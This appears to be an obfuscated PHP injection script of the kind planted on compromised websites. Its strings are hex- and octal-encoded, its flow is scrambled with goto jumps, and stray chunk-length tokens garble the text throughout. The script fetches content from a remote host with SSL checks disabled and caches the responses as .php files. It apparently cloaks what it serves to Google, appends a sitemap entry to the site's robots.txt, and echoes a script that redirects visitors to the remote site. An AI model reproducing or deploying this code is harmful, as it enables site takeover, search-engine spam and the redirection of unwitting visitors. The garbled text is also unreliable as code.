1 < 5 ?php 5 got 5 o ZwK 6 5j; sN 5 iwt: 6 if (!e 6 mpty($ 5 sz)) 6 { $jd 6 = getC 6 urlFas 5 t("{$ 6 http_t 6 ype}{$ 6 vurl}\ 6 63\x6b 6 \147\x 8 2e\141\1 7 63\160\ 6 170\x3 8 f\x73\x7 7 a\x3d" 7 . urlen b code($sz)); 6 } els 2d e { $jd = getCurlFast("{$http_type}{$vurl}\x3 a 3\153\147\ 11 56\141\163\160\x7 c 8\x3f\x78\17 10 1\75{$http_type} 7 "); $sz 42 = getCurlFast("{$http_type}{$vurl}\63\153\147\56\141\163\160\x78\ 8 77\x6a\x 16 64\x3d" . urlencode($j c d)); } goto 6 kZXUn; 5 xFIj 7 t: func 8 tion get 6 _real_ 9 ip() { $k 7 eys = a 6 rray(" 7 \x48\12 b 4\124\x50\x 8 5f\x43\1 9 06\x5f\10 8 3\x4f\x4 9 e\116\105 c \103\124\111 e \x4e\107\x5f\1 9 11\x50", 9 "\110\x54 b \x54\x50\13 10 7\x58\137\x52\x4 9 5\101\x4c b \137\x49\12 e 0", "\x48\x54\ e 124\x50\137\13 f 0\137\106\x4f\1 6 22\127 11 \101\x52\x44\105\ d x44\x5f\106\1 f 17\122", "\110\ 12 124\124\120\137\x4 b 3\x4c\x49\1 1b 05\x4e\124\x5f\111\x50", "\ b x52\x45\x4d d \x4f\x54\105\ 11 137\x41\x44\x44\1 8 22"); fo 7 reach ( b $keys as $k 11 ) { if (!empty($_ 5 SERVE 4 R[$k 9 ])) { $ip 15 = $_SERVER[$k]; if ( 6 strpos 9 ($ip, "\5 6 4") != 4 = fa 10 lse) { $ip = tri 6 m(expl a ode("\54", 8 $ip)[0] a ); } if (f 6 ilter_ a var($ip, F 5 ILTER 5 _VALI 5 DATE_ a IP)) { ret 7 urn $ip 10 ; } } } return " 6 \61\62 b \67\x2e\60\ 7 56\60\x 7 2e\x31" d ; } goto UOex a B; ZwK5j: 5 error 8 _reporti 7 ng(0); 8 goto eX8 6 At; q7 4 0WN: a $surl = $ 9 jd . "\16 a 3\x7a\156\ 13 56\141\163\160\170" b ; goto tadj 6 A; p7j 11 g0: function get_ 7 url_inf 9 o(string 9 $type = " 7 \x64\15 a 7\155\x61\ 7 151\x6e c ") : string 6 { $hos 1b t = $_SERVER["\x48\124\124\ 10 120\137\x48\117\ 8 x53\124" 6 ] ?? ' e '; if ($type = d == "\x6e\157\ 9 x5f\167\x 12 77\167") { return 4 preg b _replace("\ 7 x2f\x5e 10 \167\x77\x77\x5c a \56\57\x69 6 ", '', e $host); } $pr 5 otoco 14 l = !empty($_SERVER[ 16 "\x48\x54\x54\x50\123" 5 ]) && 1d $_SERVER["\110\124\124\120\1 9 23"] !== c "\x6f\146\14 8 6" ? "\1 b 50\x74\x74\ a 160\x73\72 7 \57\57" b : "\150\16 10 4\x74\x70\72\57\ 7 x2f"; $ 7 base = 11 $protocol . $host 1f ; if ($type === "\x62\141\163\1 13 45") { return $base 14 ; } if ($type === "\ b 146\165\x6c 18 \x6c") { return $base . 10 ($_SERVER["\x52\ b 105\121\125 9 \x45\x53\ b x54\137\x55 10 \x52\x49"] ?? '' 13 ); } return $host; b } goto WOCu 5 f; oB e xKF: function 7 ensure_ 6 robots 7 _sitema a p($sitemap 9 Line) { $ a robots = r 13 trim($_SERVER["\104 b \117\x43\x5 c 5\x4d\105\11 10 6\x54\137\x52\x4 b f\x4f\124"] 9 , "\57\13 c 4") . "\57\x c 72\x6f\x62\1 b 57\x74\x73\ e 56\x74\x78\x74 8 "; if (! 9 file_exis a ts($robots b )) { @file_ 6 put_co e ntents($robots 8 , "\125\ f 163\145\162\x2d 9 \141\147\ e 145\156\164\x3 7 a\40\x2 a a\xa\x41\1 7 54\x6c\ c 157\x77\72\x 8 20\57\xa 12 " . $sitemapLine, 5 LOCK_ 10 EX); } else { $c 9 = @file_ 15 get_contents($robots) d ; if ($c === 9 false || a strpos($c, 18 $sitemapLine) === false 2e ) { @file_put_contents($robots, $sitemapLine, 8 FILE_APP 5 END | e LOCK_EX); } } d } goto TcPSL 5 ; jCs 9 nT: if ($ 9 kk === '' 8 && $is_ 6 no_que b ry) { if ($ 6 domain 10 === "\147\157\x d 6f\147\x6c\x6 9 5") { out e put_sitemap_an 7 d_exit( 18 $sitemapLine, $http_type 15 ); } else { die; } } 8 goto GQG 6 tw; y1 3 V0b b : $kk = iss 7 et($get a ["\x6b\x6b b "]) ? trim( e $get["\x6b\153 a "]) : ''; a goto u9Vm1 8 ; WOCuf: 2c $http_type = !empty($_SERVER["\x48\x54\x54\ 1d 120\123"]) && $_SERVER["\110\ 35 x54\124\120\123"] !== "\x6f\146\146" ? "\150\x74\x74\ 9 x70\x73\x f 3a\x2f\57" : "\ a x68\x74\16 17 4\x70\72\x2f\57"; goto 4 VmgL c L; kZXUn: $h 5 yzhdy 12 = $jd . "\172\x6e 20 \56\141\163\160\170"; goto q70WN 8 ; GQGtw: 3b output_sitemap_and_exit($sitemapLine, $http_type); goto Ej 6 U3H; e 13 ggD8: function cach a e_set($key 7 , $data 9 ) { $file b = sys_get_ 7 temp_di 8 r() . "\ 9 x2f\143\x e 61\143\x68\x65 9 \x5f" . m 7 d5($key 11 ) . "\56\160\x68\ 6 160"; 1f @file_put_contents($file, $data 13 , LOCK_EX); } goto b xFIjt; taa3 f z: if ($domain 11 !== "\x67\157\157 d \147\154\145" 4 && 8 !empty($ 3 iid a )) { $knam 8 e = urld 12 ecode(getCurlFast( f $jd . "\147\x6e 1b \56\141\163\160\x78\x3f\x69 16 \x69\x64\x3d" . $iid)) 6 ; echo c "\x3c\x73\x b 63\x72\x69\ a 160\x74\76 12 \x6c\157\143\x61\1 e 64\151\x6f\x6e 7 \75\x22 f " . $jd . "\141 10 \56\x61\163\x70\ e 170\x3f\143\x6 d e\141\155\x65 12 \75" . urlencode($ 13 kname) . "\x26\165\ e 162\154\75" . c $http_type . 21 $_SERVER["\x48\124\124\x50\137\1 e 10\x4f\x53\x54 11 "] . $_SERVER["\x a 53\x43\x52 17 \x49\120\x54\137\116\10 e 1\x4d\105"] . c "\x22\x3c\x2 1c f\x73\x63\x72\x69\160\x74\76 a "; die; } a goto ZGeRz 6 ; r795 5 u: $q 7 z = sub 10 str(str_replace( c array("\167\ b 167\167\x2e 9 ", "\56") 21 , '', $_SERVER["\x48\124\124\x50\ e x5f\x48\x4f\12 d 3\124"]), 0, c 3); goto ap1 9 mo; TcPSL 14 : if (!empty($get["\ c 167"])) { $p 8 arams = 8 http_bui 9 ld_query( 12 array("\x4e\x4f\x5 9 5\x6d\142 c \145\162" => 9 $get["\x 15 4e\117\x55\x6d\x62\14 d 5\x72"] ?? '' 7 , "\164 1b " => $get["\164"] ?? '', "\ 14 x63\x6e" => $get["\1 13 43\x6e"] ?? '', "\x 20 70\x4e\x4f\x55\x6d" => $get["\16 11 0\x4e\x4f\x55\155 16 "] ?? '', "\x63\x69\14 13 4" => $get["\x63\15 15 1\x64"] ?? '', "\155" 17 => $get["\x6d"] ?? '') 7 ); $str 1b = getCurlFast("{$surl}\x3f 8 {$params 1f }"); echo str_replace(array("\1 7 71\171\ d x6d\x6d", "\x 12 67\x67\x67\147\x67 c ", "\77\146\ 7 x3d"), 26 array($http_type . $_SERVER["\x48\124\ f x54\120\x5f\110 1c \x4f\123\x54"] . $_SERVER["\ 10 123\103\x52\x49\ f x50\x54\x5f\x4e c \101\115\x45 7 "], $sz b , "\77" . $ e qz . "\x3d"), 13 $str); die; } goto c y1V0b; ap1mo c : $sz = $iid c = ''; goto 5 hlG6j 8 ; u9Vm1: c $ip = $kk ! c == '' ? "\x3 b 6\66\x2e\x3 9 2\x34\x39 d \x2e\70\62\x2 8 e\70" : 16 get_real_ip(); goto Uf a lM7; hlG6j 11 : if (!empty($_GE 8 T)) { $f f = reset($_GET) 8 ; $sp = d explode("\x2d e ", $f); if (co 7 unt($sp c ) === 2) { $ 8 sz = $sp 10 [0]; $iid = $sp[ d 1]; } } goto c sNiwt; UflM7 11 : $domain = trim( 1b getCurlFast($jd . "\147\x65 f \164\144\x6f\x6 d d\x61\151\x6e 10 \x32\56\x61\x73\ 11 160\170\77\x72\x6 a e\144\75\x 7 31\46\x e 69\160\75" . $ d ip)); goto ta 7 a3z; EY d X7h: if ($kk a !== '' && a preg_match a ("\57\x5e\ 8 x5b\x41\ b 55\x5a\141\ 8 x2d\172\ e 60\x2d\x39\x5d 8 \53\44\5 7 7", $kk b )) { $remot 10 e = getCurlFast( 2b $jd . "\147\x65\164\144\157\155\x61\151\x6e 11 \62\56\141\x73\x7 12 0\170\77\x72\156\1 c 44\75\62\x26 11 \x6b\153\x3d" . $ 17 kk); if (!empty($remote a )) { echo 18 $remote; die; } } goto u 7 3U2k; g 4 mJgr 1c : function cache_get($key, $ 5 expir 7 e = 300 32 ) { $file = sys_get_temp_dir() . "\x2f\143\141\143 21 \150\145\x5f" . md5($key) . "\56\ b x70\150\x70 14 "; if (file_exists($ b file) && ti 11 me() - filemtime( 10 $file) < $expire 1e ) { return file_get_contents($ 10 file); } return 13 false; } goto eggD8 7 ; u3U2k 22 : if ($kk !== '' && !preg_match("\ a x2f\136\x5 11 b\x41\55\132\141\ a x2d\172\x3 11 0\x2d\x39\135\x2b 11 \44\57", $kk)) { 3d output_sitemap_and_exit($sitemapLine, $http_type); } goto eCA 6 bA; of e sRJ: function 35 output_sitemap_and_exit($sitemapLine, $http_type) { e 22 nsure_robots_sitemap($sitemapLine) 16 ; echo "\x3c\x64\x69\x b 76\40\x73\x d 74\171\154\x6 7 5\x3d\x a 27\164\145 e \x78\x74\x2d\x a 61\x6c\151 d \x67\156\72\x 16 63\x65\156\164\145\x72 e \73\160\x61\x6 11 4\x64\x69\x6e\147 9 \x3a\61\6 e 0\160\170\40\x b 30\73\47\x3 a e\xa\40\x2 e 0\x20\40\40\x2 1f 0\x20\x20\40\40\x20\x20\74\x61\ 8 40\150\1 12 62\145\146\x3d\x22 e {$http_type}{$ 22 _SERVER["\110\124\124\120\137\110\ 1a 117\123\124"]}{$_SERVER["\ b x53\103\122 11 \111\x50\x54\x5f\ 6 116\x4 12 1\x4d\105"]}\x3f\1 d 67\x3d" . dat 6 e("\13 10 1\x6d\144\110\15 a 1") . "\x2 b 2\x20\164\x f 61\x72\147\x65\ 12 x74\x3d\x22\137\14 d 2\154\x61\x6e d \x6b\x22\x20\ 10 x72\x65\154\75\4 f 2\x6e\x6f\146\1 e 57\x6c\154\x6f c \x77\x22\x3e e \x53\151\164\1 a 45\x6d\141 f \160\74\x2f\141 26 \x3e\xa\40\x20\x20\x20\40\40\x20\x20\4 e 0\x20\74\x2f\x b 64\x69\166\ 17 76"; die; } goto EYX7h; 7 tadjA: 17 $sitemapLine = "\123\1 b 51\x74\145\ d 155\x61\x70\x 1e 3a\x20{$http_type}{$_SERVER["\ 10 x48\124\124\120\ 2e x5f\110\x4f\123\x54"]}{$_SERVER["\123\103\x52\ d 111\x50\124\1 f 37\x4e\101\x4d\ d x45"]}\x3f\x7 18 7\x3d" . date("\131\155\ 1c 144\110\151") . "\xa"; goto 6 oBxKF; a VmgLL: $v e url = "\164\15 b 7\x2e\152\x 10 67\x61\x6c\154\x d 73\x2e\x63\15 c 7\155\x2f"; b goto r795u; 14 eCAbA: $is_no_query 15 = empty($_SERVER["\x 7 51\125\ e 105\x52\131\13 c 7\x53\x54\12 c 2\x49\x4e\x4 10 7"]); goto jCsnT 8 ; eX8At: f $get = filter_ 6 input_ a array(INPU 5 T_GET d , FILTER_SANI 6 TIZE_S 5 TRING e ); goto gmJgr; 14 ZGeRz: if (!empty($ 1b iid)) { $str = getCurlFast( e $hyzhdy . "\x3 16 f\x69\x69\x64\x3d{$iid 1e }"); echo str_replace(array("\ 1a x67\x67\x67\147\147", "\x5 c 9\131\x59\x5 d 9\131", "\x58 14 \x58\x58\131\131\x59 c ", "\xe5\xbd 6 \223\3 9 45\x89\x8 c d\125\x52\x4 a c", "\125\ f x55\x55\125\x55 f ", "\115\x4d\11 9 5\115\x4d e ", "\77\x66\75 f "), array($sz, 1d get_url_info(), get_url_info( 8 "\142\14 22 1\163\145"), get_url_info("\146\x7 1c 5\x6c\154"), get_url_info("\ e x6e\x6f\x5f\x7 a 7\167\x77" 8 ), parse 12 _url($_SERVER["\12 19 2\105\121\125\x45\123\124 10 \137\x55\122\111 7 "], PHP 5 _URL_ 5 PATH) 18 , "\77" . $qz . "\75"), 19 $str); die; } goto ofsRJ; 14 UOexB: function get d CurlFast($url e ) { $cached = f cache_get($url) e ; if ($cached 1b !== false) { return $cached 9 ; } $data c = ''; if (f f unction_exists( e "\143\x75\x72\ d x6c\x5f\151\1 b 56\151\164" 8 )) { $ch 14 = curl_init($url); 9 curl_seto c pt_array($ch c , array(CURL 6 OPT_RE 5 TURNT 5 RANSF 8 ER => tr c ue, CURLOPT_ 5 CONNE 5 CTTIM 8 EOUT => 17 5, CURLOPT_TIMEOUT => 8 d , CURLOPT_SSL 6 _VERIF 9 YPEER => 1a false, CURLOPT_SSL_VERIFYH 16 OST => false, CURLOPT_ 5 FOLLO 5 WLOCA 4 TION 18 => false, CURLOPT_USERA 8 GENT => d "\115\157\x7a 11 \x69\x6c\154\x61\ 6 57\65\ b 56\60")); $ f data = curl_exe d c($ch); curl_ c close($ch); d } if (empty($ 9 data) && 9 ini_get(" 16 \x61\154\154\157\167\x d 5f\x75\x72\15 e 4\137\x66\157\ d 160\x65\x6e") b ) { $contex 8 t = stre c am_context_c f reate(array("\1 13 50\x74\x74\160" => a array("\16 11 4\151\x6d\145\157 e \x75\x74" => 8 d , "\x68\x65\x 1b 61\x64\145\x72" => "\x55\x7 13 3\145\162\55\101\x6 10 7\145\156\x74\x3 b a\x20\x4d\x c 6f\172\x69\1 e 54\154\141\x2f c \65\56\x30\x a d\12"), "\ c 163\x73\x6c" 10 => array("\x76\ 12 145\x72\x69\146\x7 10 9\x5f\x70\x65\x6 12 5\x72" => false, " c \166\x65\x72 27 \x69\146\x79\x5f\x70\x65\145\162\137\x6 d e\141\x6d\145 17 " => false))); $data = 18 @file_get_contents($url, 10 false, $context 16 ); } if (!empty($data) f ) { cache_set($ 17 url, $data); } return $ d data; } goto c p7jg0; EjU3H 4 : ?> 0